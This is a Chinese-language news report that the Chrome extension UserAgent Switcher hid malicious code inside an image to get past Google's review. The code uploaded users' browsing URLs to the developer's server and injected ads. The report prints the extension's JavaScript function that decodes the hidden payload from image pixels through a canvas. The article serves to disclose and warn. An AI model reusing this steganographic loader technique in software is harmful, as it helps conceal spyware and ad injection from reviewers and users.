谷歌浏览器Google Chrome某代理字符串工具被证实为木马病毒
日前多个技术类网站正在讨论谷歌浏览器上用户众多并且非常知名的某个代理字符串切换工具存在安全问题。
该扩展程序的名称为UserAgent Switcher,主要为开发者在谷歌浏览器上随时切换不同的UA进行设备测试。
但是日前该扩展程序被其他开发者发现暗藏恶意代码, 最终可用来上传用户浏览记录及在网页插入广告等。
恶意代码隐藏在图片中:
为了绕过谷歌的审核该扩展程序的开发者将恶意代码隐藏在图片中,然后使用JavaScript解密执行恶意代码。
t.prototype.Vh = function(t, e) {
if ("" === '../promo.jpg') return "";
void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
var n = this.ET,
i = e.mp || n.mp,
o = e.Tv || n.Tv,
h = e.At || n.At,
a = r.Yb(Math.pow(2, i)),
f = (e.WC || n.WC, e.TY || n.TY),
u = document.createElement("canvas"),
p = u.getContext("2d");
if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
var c = p.getImageData(0, 0, u.width, u.height),
d = c.data,
g = [];
if (c.data.every(function(t) {
return 0 === t
})) return "";
var m, s;
if (1 === o)
for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
var v = "",
w = 0,
y = 0,
l = Math.pow(2, h) - 1;
for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
}
而恶意代码的目的则是将用户打开的每个标签页的URL地址加密发送至该扩展程序的开发者控制的服务器中。
另外还会通过服务器获取推广链接的规则,在用户打开符合规则的网站时则插入广告或者附加广告标识符等。
目前该扩展程序仍然还在谷歌浏览器应用商店中提供下载,并且该扩展程序也是此类工具中排名最高的一个。